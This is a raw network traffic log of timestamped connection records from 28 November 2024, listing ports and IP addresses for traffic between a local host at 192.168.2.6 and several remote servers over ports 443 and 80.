Nov 28, 2024 02:27:40.343657017 CET	443	49825	142.250.181.65	192.168.2.6
Nov 28, 2024 02:27:40.351660013 CET	443	49825	142.250.181.65	192.168.2.6
Nov 28, 2024 02:27:40.351917982 CET	49825	443	192.168.2.6	142.250.181.65
Nov 28, 2024 02:27:40.351936102 CET	443	49825	142.250.181.65	192.168.2.6
Nov 28, 2024 02:27:40.364447117 CET	443	49825	142.250.181.65	192.168.2.6
Nov 28, 2024 02:27:40.364526987 CET	49825	443	192.168.2.6	142.250.181.65
Nov 28, 2024 02:27:40.364542961 CET	443	49825	142.250.181.65	192.168.2.6
Nov 28, 2024 02:27:40.378082991 CET	443	49825	142.250.181.65	192.168.2.6
Nov 28, 2024 02:27:40.379291058 CET	49825	443	192.168.2.6	142.250.181.65
Nov 28, 2024 02:27:40.379307032 CET	443	49825	142.250.181.65	192.168.2.6
Nov 28, 2024 02:27:40.391697884 CET	443	49825	142.250.181.65	192.168.2.6
Nov 28, 2024 02:27:40.391803980 CET	49825	443	192.168.2.6	142.250.181.65
Nov 28, 2024 02:27:40.391819000 CET	443	49825	142.250.181.65	192.168.2.6
Nov 28, 2024 02:27:40.405316114 CET	443	49825	142.250.181.65	192.168.2.6
Nov 28, 2024 02:27:40.405489922 CET	49825	443	192.168.2.6	142.250.181.65
Nov 28, 2024 02:27:40.405505896 CET	443	49825	142.250.181.65	192.168.2.6
Nov 28, 2024 02:27:40.419256926 CET	443	49825	142.250.181.65	192.168.2.6
Nov 28, 2024 02:27:40.419559956 CET	49825	443	192.168.2.6	142.250.181.65
Nov 28, 2024 02:27:40.419575930 CET	443	49825	142.250.181.65	192.168.2.6
Nov 28, 2024 02:27:40.431794882 CET	443	49825	142.250.181.65	192.168.2.6
Nov 28, 2024 02:27:40.432133913 CET	49825	443	192.168.2.6	142.250.181.65
Nov 28, 2024 02:27:40.432151079 CET	443	49825	142.250.181.65	192.168.2.6
Nov 28, 2024 02:27:40.443531990 CET	443	49825	142.250.181.65	192.168.2.6
Nov 28, 2024 02:27:40.444530010 CET	49825	443	192.168.2.6	142.250.181.65
Nov 28, 2024 02:27:40.444545984 CET	443	49825	142.250.181.65	192.168.2.6
Nov 28, 2024 02:27:40.454854965 CET	49870	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:40.454902887 CET	443	49870	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:40.455128908 CET	49870	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:40.455130100 CET	49871	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:40.455166101 CET	443	49871	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:40.455280066 CET	49871	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:40.455436945 CET	443	49825	142.250.181.65	192.168.2.6
Nov 28, 2024 02:27:40.455621958 CET	49870	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:40.455624104 CET	49825	443	192.168.2.6	142.250.181.65
Nov 28, 2024 02:27:40.455636024 CET	443	49870	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:40.455645084 CET	443	49825	142.250.181.65	192.168.2.6
Nov 28, 2024 02:27:40.455795050 CET	49871	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:40.455810070 CET	443	49871	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:40.467328072 CET	443	49825	142.250.181.65	192.168.2.6
Nov 28, 2024 02:27:40.468619108 CET	49825	443	192.168.2.6	142.250.181.65
Nov 28, 2024 02:27:40.468641996 CET	443	49825	142.250.181.65	192.168.2.6
Nov 28, 2024 02:27:40.479125023 CET	443	49825	142.250.181.65	192.168.2.6
Nov 28, 2024 02:27:40.479212999 CET	49825	443	192.168.2.6	142.250.181.65
Nov 28, 2024 02:27:40.479231119 CET	443	49825	142.250.181.65	192.168.2.6
Nov 28, 2024 02:27:40.504115105 CET	443	49825	142.250.181.65	192.168.2.6
Nov 28, 2024 02:27:40.504496098 CET	49825	443	192.168.2.6	142.250.181.65
Nov 28, 2024 02:27:40.504513979 CET	443	49825	142.250.181.65	192.168.2.6
Nov 28, 2024 02:27:40.507949114 CET	443	49825	142.250.181.65	192.168.2.6
Nov 28, 2024 02:27:40.507982016 CET	443	49825	142.250.181.65	192.168.2.6
Nov 28, 2024 02:27:40.508099079 CET	49825	443	192.168.2.6	142.250.181.65
Nov 28, 2024 02:27:40.508114100 CET	443	49825	142.250.181.65	192.168.2.6
Nov 28, 2024 02:27:40.509263992 CET	49825	443	192.168.2.6	142.250.181.65
Nov 28, 2024 02:27:40.515928030 CET	443	49825	142.250.181.65	192.168.2.6
Nov 28, 2024 02:27:40.531644106 CET	443	49825	142.250.181.65	192.168.2.6
Nov 28, 2024 02:27:40.531797886 CET	49825	443	192.168.2.6	142.250.181.65
Nov 28, 2024 02:27:40.531810045 CET	443	49825	142.250.181.65	192.168.2.6
Nov 28, 2024 02:27:40.537143946 CET	443	49825	142.250.181.65	192.168.2.6
Nov 28, 2024 02:27:40.537250042 CET	443	49825	142.250.181.65	192.168.2.6
Nov 28, 2024 02:27:40.537276983 CET	49825	443	192.168.2.6	142.250.181.65
Nov 28, 2024 02:27:40.537292004 CET	443	49825	142.250.181.65	192.168.2.6
Nov 28, 2024 02:27:40.541369915 CET	49825	443	192.168.2.6	142.250.181.65
Nov 28, 2024 02:27:40.541888952 CET	443	49825	142.250.181.65	192.168.2.6
Nov 28, 2024 02:27:40.546963930 CET	443	49825	142.250.181.65	192.168.2.6
Nov 28, 2024 02:27:40.547053099 CET	443	49825	142.250.181.65	192.168.2.6
Nov 28, 2024 02:27:40.547076941 CET	49825	443	192.168.2.6	142.250.181.65
Nov 28, 2024 02:27:40.547091007 CET	443	49825	142.250.181.65	192.168.2.6
Nov 28, 2024 02:27:40.547214985 CET	49825	443	192.168.2.6	142.250.181.65
Nov 28, 2024 02:27:40.553174019 CET	443	49825	142.250.181.65	192.168.2.6
Nov 28, 2024 02:27:40.560600042 CET	443	49825	142.250.181.65	192.168.2.6
Nov 28, 2024 02:27:40.560651064 CET	443	49825	142.250.181.65	192.168.2.6
Nov 28, 2024 02:27:40.560753107 CET	49825	443	192.168.2.6	142.250.181.65
Nov 28, 2024 02:27:40.560769081 CET	443	49825	142.250.181.65	192.168.2.6
Nov 28, 2024 02:27:40.560878038 CET	49825	443	192.168.2.6	142.250.181.65
Nov 28, 2024 02:27:40.568073988 CET	443	49825	142.250.181.65	192.168.2.6
Nov 28, 2024 02:27:40.575622082 CET	443	49825	142.250.181.65	192.168.2.6
Nov 28, 2024 02:27:40.575742006 CET	443	49825	142.250.181.65	192.168.2.6
Nov 28, 2024 02:27:40.575897932 CET	49825	443	192.168.2.6	142.250.181.65
Nov 28, 2024 02:27:40.575917959 CET	443	49825	142.250.181.65	192.168.2.6
Nov 28, 2024 02:27:40.576056004 CET	49825	443	192.168.2.6	142.250.181.65
Nov 28, 2024 02:27:40.582994938 CET	443	49825	142.250.181.65	192.168.2.6
Nov 28, 2024 02:27:40.590969086 CET	443	49825	142.250.181.65	192.168.2.6
Nov 28, 2024 02:27:40.591032028 CET	443	49825	142.250.181.65	192.168.2.6
Nov 28, 2024 02:27:40.591057062 CET	49825	443	192.168.2.6	142.250.181.65
Nov 28, 2024 02:27:40.591072083 CET	443	49825	142.250.181.65	192.168.2.6
Nov 28, 2024 02:27:40.591281891 CET	49825	443	192.168.2.6	142.250.181.65
Nov 28, 2024 02:27:40.597784996 CET	443	49825	142.250.181.65	192.168.2.6
Nov 28, 2024 02:27:40.605328083 CET	443	49825	142.250.181.65	192.168.2.6
Nov 28, 2024 02:27:40.605360031 CET	443	49825	142.250.181.65	192.168.2.6
Nov 28, 2024 02:27:40.605487108 CET	49825	443	192.168.2.6	142.250.181.65
Nov 28, 2024 02:27:40.605501890 CET	443	49825	142.250.181.65	192.168.2.6
Nov 28, 2024 02:27:40.605608940 CET	49825	443	192.168.2.6	142.250.181.65
Nov 28, 2024 02:27:40.612762928 CET	443	49825	142.250.181.65	192.168.2.6
Nov 28, 2024 02:27:40.620142937 CET	443	49825	142.250.181.65	192.168.2.6
Nov 28, 2024 02:27:40.620246887 CET	49825	443	192.168.2.6	142.250.181.65
Nov 28, 2024 02:27:40.620260000 CET	443	49825	142.250.181.65	192.168.2.6
Nov 28, 2024 02:27:40.632667065 CET	443	49825	142.250.181.65	192.168.2.6
Nov 28, 2024 02:27:40.632745028 CET	443	49825	142.250.181.65	192.168.2.6
Nov 28, 2024 02:27:40.632786989 CET	49825	443	192.168.2.6	142.250.181.65
Nov 28, 2024 02:27:40.632802010 CET	443	49825	142.250.181.65	192.168.2.6
Nov 28, 2024 02:27:40.633307934 CET	49825	443	192.168.2.6	142.250.181.65
Nov 28, 2024 02:27:40.634416103 CET	443	49837	172.64.41.3	192.168.2.6
Nov 28, 2024 02:27:40.634599924 CET	443	49837	172.64.41.3	192.168.2.6
Nov 28, 2024 02:27:40.634632111 CET	49837	443	192.168.2.6	172.64.41.3
Nov 28, 2024 02:27:40.634748936 CET	49837	443	192.168.2.6	172.64.41.3
Nov 28, 2024 02:27:40.635577917 CET	443	49839	162.159.61.3	192.168.2.6
Nov 28, 2024 02:27:40.635710001 CET	443	49839	162.159.61.3	192.168.2.6
Nov 28, 2024 02:27:40.635746002 CET	49839	443	192.168.2.6	162.159.61.3
Nov 28, 2024 02:27:40.637528896 CET	49839	443	192.168.2.6	162.159.61.3
Nov 28, 2024 02:27:40.644584894 CET	443	49825	142.250.181.65	192.168.2.6
Nov 28, 2024 02:27:40.656378984 CET	443	49825	142.250.181.65	192.168.2.6
Nov 28, 2024 02:27:40.656419992 CET	443	49825	142.250.181.65	192.168.2.6
Nov 28, 2024 02:27:40.656447887 CET	49825	443	192.168.2.6	142.250.181.65
Nov 28, 2024 02:27:40.656470060 CET	443	49825	142.250.181.65	192.168.2.6
Nov 28, 2024 02:27:40.656897068 CET	49825	443	192.168.2.6	142.250.181.65
Nov 28, 2024 02:27:40.668287992 CET	443	49825	142.250.181.65	192.168.2.6
Nov 28, 2024 02:27:40.669207096 CET	443	49825	142.250.181.65	192.168.2.6
Nov 28, 2024 02:27:40.669539928 CET	49825	443	192.168.2.6	142.250.181.65
Nov 28, 2024 02:27:40.669555902 CET	443	49825	142.250.181.65	192.168.2.6
Nov 28, 2024 02:27:40.671835899 CET	443	49825	142.250.181.65	192.168.2.6
Nov 28, 2024 02:27:40.671988010 CET	49825	443	192.168.2.6	142.250.181.65
Nov 28, 2024 02:27:40.672002077 CET	443	49825	142.250.181.65	192.168.2.6
Nov 28, 2024 02:27:40.680088043 CET	443	49825	142.250.181.65	192.168.2.6
Nov 28, 2024 02:27:40.680175066 CET	443	49825	142.250.181.65	192.168.2.6
Nov 28, 2024 02:27:40.680232048 CET	49825	443	192.168.2.6	142.250.181.65
Nov 28, 2024 02:27:40.680250883 CET	443	49825	142.250.181.65	192.168.2.6
Nov 28, 2024 02:27:40.680820942 CET	443	49838	172.64.41.3	192.168.2.6
Nov 28, 2024 02:27:40.680895090 CET	49825	443	192.168.2.6	142.250.181.65
Nov 28, 2024 02:27:40.680895090 CET	49838	443	192.168.2.6	172.64.41.3
Nov 28, 2024 02:27:40.681303978 CET	443	49825	142.250.181.65	192.168.2.6
Nov 28, 2024 02:27:40.705040932 CET	443	49825	142.250.181.65	192.168.2.6
Nov 28, 2024 02:27:40.705086946 CET	443	49825	142.250.181.65	192.168.2.6
Nov 28, 2024 02:27:40.705113888 CET	49825	443	192.168.2.6	142.250.181.65
Nov 28, 2024 02:27:40.705121040 CET	443	49825	142.250.181.65	192.168.2.6
Nov 28, 2024 02:27:40.705138922 CET	443	49825	142.250.181.65	192.168.2.6
Nov 28, 2024 02:27:40.705164909 CET	49825	443	192.168.2.6	142.250.181.65
Nov 28, 2024 02:27:40.708247900 CET	443	49825	142.250.181.65	192.168.2.6
Nov 28, 2024 02:27:40.708405972 CET	49825	443	192.168.2.6	142.250.181.65
Nov 28, 2024 02:27:40.708430052 CET	443	49825	142.250.181.65	192.168.2.6
Nov 28, 2024 02:27:40.709319115 CET	443	49825	142.250.181.65	192.168.2.6
Nov 28, 2024 02:27:40.709486008 CET	49825	443	192.168.2.6	142.250.181.65
Nov 28, 2024 02:27:40.709496021 CET	443	49825	142.250.181.65	192.168.2.6
Nov 28, 2024 02:27:40.711286068 CET	443	49825	142.250.181.65	192.168.2.6
Nov 28, 2024 02:27:40.711468935 CET	49825	443	192.168.2.6	142.250.181.65
Nov 28, 2024 02:27:40.713174105 CET	49825	443	192.168.2.6	142.250.181.65
Nov 28, 2024 02:27:40.713191032 CET	443	49825	142.250.181.65	192.168.2.6
Nov 28, 2024 02:27:40.952728987 CET	443	49836	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:40.967499971 CET	49836	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:40.967515945 CET	443	49836	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:40.968862057 CET	49836	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:40.968867064 CET	443	49836	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:40.969625950 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:41.094019890 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:41.153496981 CET	443	49864	162.159.61.3	192.168.2.6
Nov 28, 2024 02:27:41.153773069 CET	49864	443	192.168.2.6	162.159.61.3
Nov 28, 2024 02:27:41.153798103 CET	443	49864	162.159.61.3	192.168.2.6
Nov 28, 2024 02:27:41.154833078 CET	443	49864	162.159.61.3	192.168.2.6
Nov 28, 2024 02:27:41.154896021 CET	49864	443	192.168.2.6	162.159.61.3
Nov 28, 2024 02:27:41.156588078 CET	49864	443	192.168.2.6	162.159.61.3
Nov 28, 2024 02:27:41.156666040 CET	443	49864	162.159.61.3	192.168.2.6
Nov 28, 2024 02:27:41.157083988 CET	49864	443	192.168.2.6	162.159.61.3
Nov 28, 2024 02:27:41.157099009 CET	443	49864	162.159.61.3	192.168.2.6
Nov 28, 2024 02:27:41.157309055 CET	443	49862	172.64.41.3	192.168.2.6
Nov 28, 2024 02:27:41.157994032 CET	49862	443	192.168.2.6	172.64.41.3
Nov 28, 2024 02:27:41.158006907 CET	443	49862	172.64.41.3	192.168.2.6
Nov 28, 2024 02:27:41.161225080 CET	443	49862	172.64.41.3	192.168.2.6
Nov 28, 2024 02:27:41.161284924 CET	49862	443	192.168.2.6	172.64.41.3
Nov 28, 2024 02:27:41.162225962 CET	49862	443	192.168.2.6	172.64.41.3
Nov 28, 2024 02:27:41.162285089 CET	443	49862	172.64.41.3	192.168.2.6
Nov 28, 2024 02:27:41.162552118 CET	49862	443	192.168.2.6	172.64.41.3
Nov 28, 2024 02:27:41.162559032 CET	443	49862	172.64.41.3	192.168.2.6
Nov 28, 2024 02:27:41.198100090 CET	443	49854	172.64.41.3	192.168.2.6
Nov 28, 2024 02:27:41.198824883 CET	49854	443	192.168.2.6	172.64.41.3
Nov 28, 2024 02:27:41.198853970 CET	443	49854	172.64.41.3	192.168.2.6
Nov 28, 2024 02:27:41.199887991 CET	443	49854	172.64.41.3	192.168.2.6
Nov 28, 2024 02:27:41.199939966 CET	49854	443	192.168.2.6	172.64.41.3
Nov 28, 2024 02:27:41.200932026 CET	49854	443	192.168.2.6	172.64.41.3
Nov 28, 2024 02:27:41.201020002 CET	443	49854	172.64.41.3	192.168.2.6
Nov 28, 2024 02:27:41.201086044 CET	49854	443	192.168.2.6	172.64.41.3
Nov 28, 2024 02:27:41.201092958 CET	443	49854	172.64.41.3	192.168.2.6
Nov 28, 2024 02:27:41.307115078 CET	443	49841	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:41.308413029 CET	49841	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:41.308435917 CET	443	49841	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:41.309341908 CET	49841	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:41.309356928 CET	443	49841	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:41.317809105 CET	49862	443	192.168.2.6	172.64.41.3
Nov 28, 2024 02:27:41.363326073 CET	443	49864	162.159.61.3	192.168.2.6
Nov 28, 2024 02:27:41.363404989 CET	49864	443	192.168.2.6	162.159.61.3
Nov 28, 2024 02:27:41.363641977 CET	49854	443	192.168.2.6	172.64.41.3
Nov 28, 2024 02:27:41.367048025 CET	443	49840	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:41.367768049 CET	49840	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:41.367780924 CET	443	49840	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:41.368504047 CET	49840	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:41.368510962 CET	443	49840	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:41.395893097 CET	443	49836	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:41.395973921 CET	443	49836	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:41.396042109 CET	49836	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:41.396466970 CET	49836	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:41.396466970 CET	49836	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:41.396486044 CET	443	49836	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:41.396495104 CET	443	49836	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:41.399715900 CET	49872	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:41.399753094 CET	443	49872	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:41.399821043 CET	49872	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:41.400176048 CET	49872	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:41.400190115 CET	443	49872	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:41.412234068 CET	443	49866	172.64.41.3	192.168.2.6
Nov 28, 2024 02:27:41.412606955 CET	49866	443	192.168.2.6	172.64.41.3
Nov 28, 2024 02:27:41.412631989 CET	443	49866	172.64.41.3	192.168.2.6
Nov 28, 2024 02:27:41.413683891 CET	443	49866	172.64.41.3	192.168.2.6
Nov 28, 2024 02:27:41.413747072 CET	49866	443	192.168.2.6	172.64.41.3
Nov 28, 2024 02:27:41.414186954 CET	49866	443	192.168.2.6	172.64.41.3
Nov 28, 2024 02:27:41.414257050 CET	443	49866	172.64.41.3	192.168.2.6
Nov 28, 2024 02:27:41.414568901 CET	49866	443	192.168.2.6	172.64.41.3
Nov 28, 2024 02:27:41.414577961 CET	443	49866	172.64.41.3	192.168.2.6
Nov 28, 2024 02:27:41.421871901 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:41.421943903 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:41.422032118 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:41.422048092 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:41.422075033 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:41.422087908 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:41.422302008 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:41.422326088 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:41.422338009 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:41.422348022 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:41.422349930 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:41.422358990 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:41.422359943 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:41.422391891 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:41.422435999 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:41.423024893 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:41.423083067 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:41.430591106 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:41.430670977 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:41.430707932 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:41.430780888 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:41.434835911 CET	443	49869	172.64.41.3	192.168.2.6
Nov 28, 2024 02:27:41.435251951 CET	49869	443	192.168.2.6	172.64.41.3
Nov 28, 2024 02:27:41.435269117 CET	443	49869	172.64.41.3	192.168.2.6
Nov 28, 2024 02:27:41.436294079 CET	443	49869	172.64.41.3	192.168.2.6
Nov 28, 2024 02:27:41.436398983 CET	49869	443	192.168.2.6	172.64.41.3
Nov 28, 2024 02:27:41.436702967 CET	49869	443	192.168.2.6	172.64.41.3
Nov 28, 2024 02:27:41.436757088 CET	443	49869	172.64.41.3	192.168.2.6
Nov 28, 2024 02:27:41.437598944 CET	49873	443	192.168.2.6	162.159.61.3
Nov 28, 2024 02:27:41.437633991 CET	443	49873	162.159.61.3	192.168.2.6
Nov 28, 2024 02:27:41.437673092 CET	49869	443	192.168.2.6	172.64.41.3
Nov 28, 2024 02:27:41.437679052 CET	443	49869	172.64.41.3	192.168.2.6
Nov 28, 2024 02:27:41.437705994 CET	49873	443	192.168.2.6	162.159.61.3
Nov 28, 2024 02:27:41.438029051 CET	49873	443	192.168.2.6	162.159.61.3
Nov 28, 2024 02:27:41.438045025 CET	443	49873	162.159.61.3	192.168.2.6
Nov 28, 2024 02:27:41.439296007 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:41.439357042 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:41.447892904 CET	443	49842	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:41.448468924 CET	49842	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:41.448508978 CET	443	49842	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:41.449018955 CET	49842	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:41.449024916 CET	443	49842	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:41.457294941 CET	49874	443	192.168.2.6	172.64.41.3
Nov 28, 2024 02:27:41.457331896 CET	443	49874	172.64.41.3	192.168.2.6
Nov 28, 2024 02:27:41.457448006 CET	49874	443	192.168.2.6	172.64.41.3
Nov 28, 2024 02:27:41.457937956 CET	49874	443	192.168.2.6	172.64.41.3
Nov 28, 2024 02:27:41.457950115 CET	443	49874	172.64.41.3	192.168.2.6
Nov 28, 2024 02:27:41.471730947 CET	49866	443	192.168.2.6	172.64.41.3
Nov 28, 2024 02:27:41.483989000 CET	443	49867	162.159.61.3	192.168.2.6
Nov 28, 2024 02:27:41.484297991 CET	49867	443	192.168.2.6	162.159.61.3
Nov 28, 2024 02:27:41.484324932 CET	443	49867	162.159.61.3	192.168.2.6
Nov 28, 2024 02:27:41.485349894 CET	443	49867	162.159.61.3	192.168.2.6
Nov 28, 2024 02:27:41.485410929 CET	49867	443	192.168.2.6	162.159.61.3
Nov 28, 2024 02:27:41.485861063 CET	49867	443	192.168.2.6	162.159.61.3
Nov 28, 2024 02:27:41.485922098 CET	443	49867	162.159.61.3	192.168.2.6
Nov 28, 2024 02:27:41.486217976 CET	49867	443	192.168.2.6	162.159.61.3
Nov 28, 2024 02:27:41.486227989 CET	443	49867	162.159.61.3	192.168.2.6
Nov 28, 2024 02:27:41.545798063 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:41.545883894 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:41.606867075 CET	443	49864	162.159.61.3	192.168.2.6
Nov 28, 2024 02:27:41.606935024 CET	443	49864	162.159.61.3	192.168.2.6
Nov 28, 2024 02:27:41.606981039 CET	49864	443	192.168.2.6	162.159.61.3
Nov 28, 2024 02:27:41.607198000 CET	49864	443	192.168.2.6	162.159.61.3
Nov 28, 2024 02:27:41.607218027 CET	443	49864	162.159.61.3	192.168.2.6
Nov 28, 2024 02:27:41.607701063 CET	443	49862	172.64.41.3	192.168.2.6
Nov 28, 2024 02:27:41.607762098 CET	443	49862	172.64.41.3	192.168.2.6
Nov 28, 2024 02:27:41.607875109 CET	49862	443	192.168.2.6	172.64.41.3
Nov 28, 2024 02:27:41.608285904 CET	49862	443	192.168.2.6	172.64.41.3
Nov 28, 2024 02:27:41.608303070 CET	443	49862	172.64.41.3	192.168.2.6
Nov 28, 2024 02:27:41.622968912 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:41.623023987 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:41.623058081 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:41.623074055 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:41.625399113 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:41.625453949 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:41.625494957 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:41.625616074 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:41.625675917 CET	49867	443	192.168.2.6	162.159.61.3
Nov 28, 2024 02:27:41.633657932 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:41.633740902 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:41.633754969 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:41.633800030 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:41.641861916 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:41.641916990 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:41.641961098 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:41.642010927 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:41.645481110 CET	49869	443	192.168.2.6	172.64.41.3
Nov 28, 2024 02:27:41.645555973 CET	443	49869	172.64.41.3	192.168.2.6
Nov 28, 2024 02:27:41.645642996 CET	49869	443	192.168.2.6	172.64.41.3
Nov 28, 2024 02:27:41.650106907 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:41.650187016 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:41.650285959 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:41.650382996 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:41.652750015 CET	443	49852	18.165.220.110	192.168.2.6
Nov 28, 2024 02:27:41.652822971 CET	49852	443	192.168.2.6	18.165.220.110
Nov 28, 2024 02:27:41.658344984 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:41.658421993 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:41.658505917 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:41.658584118 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:41.659692049 CET	443	49854	172.64.41.3	192.168.2.6
Nov 28, 2024 02:27:41.659758091 CET	443	49854	172.64.41.3	192.168.2.6
Nov 28, 2024 02:27:41.659816980 CET	49854	443	192.168.2.6	172.64.41.3
Nov 28, 2024 02:27:41.659936905 CET	49854	443	192.168.2.6	172.64.41.3
Nov 28, 2024 02:27:41.659955025 CET	443	49854	172.64.41.3	192.168.2.6
Nov 28, 2024 02:27:41.666574001 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:41.666627884 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:41.666699886 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:41.666738987 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:41.674794912 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:41.674858093 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:41.674902916 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:41.675025940 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:41.683039904 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:41.683152914 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:41.683224916 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:41.683278084 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:41.691286087 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:41.691397905 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:41.691452980 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:41.698520899 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:41.698595047 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:41.698633909 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:41.698674917 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:41.705737114 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:41.705789089 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:41.749536991 CET	443	49841	13.107.246.63	192.168.2.6
